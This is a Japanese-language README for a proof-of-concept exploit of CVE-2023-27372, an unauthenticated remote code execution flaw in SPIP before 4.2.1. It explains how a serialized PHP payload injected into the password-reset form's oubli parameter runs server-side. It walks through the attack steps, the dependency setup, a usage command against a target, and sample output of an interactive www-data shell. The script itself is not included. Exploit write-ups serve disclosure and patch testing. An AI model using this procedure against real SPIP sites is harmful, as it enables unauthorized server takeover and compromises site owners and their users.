CVE-2023-27372 — SPIP < 4.2.1 未認証RCE（PoC）

SPIP 4.2.1以前における未認証のリモートコード実行の脆弱性。パスワードリセットフォームの oubli パラメータが、不適切なデシリアライズ処理によりPHPオブジェクトインジェクションに対して脆弱です。細工されたシリアライズペイロードがWebユーザとしてサーバー側で実行され、その出力がレスポンス内の oubli 入力フィールドの値に反映されます。

---

仕組み

1. /spip.php?page=spip_pass からアンチCSRFトークンを取得します。
2. oubli パラメータにPHPシリアライズペイロードを注入したPOSTリクエストを送信します。
3. レスポンスに反映された value 属性からコマンドの出力を抽出します。
4. リクエストごとにCSRFトークンを更新しながら、インタラクティブなコマンド実行をループします。

必要条件

• Python 3
• 依存関係のインストール:

python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests beautifulsoup4 prompt_toolkit

使用方法

python3 exploit.py -u http://TARGET/spip

実行例:

$ python3 exploit.py -u http://10.10.10.10/spip
[*] Fetching anti-CSRF token...
[*] Testing command execution...
[+] Target is vulnerable! Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Shell opened. Type 'exit' or Ctrl+C to quit.

Shell> whoami
www-data

参考文献

• CVE-2023-27372
• nuts7による元のPoC
• SPIPリリースノート

謝辞

• 発見および元のエクスプロイト: nuts7
• クリーンアップおよび対話型シェル: Esteban Zárate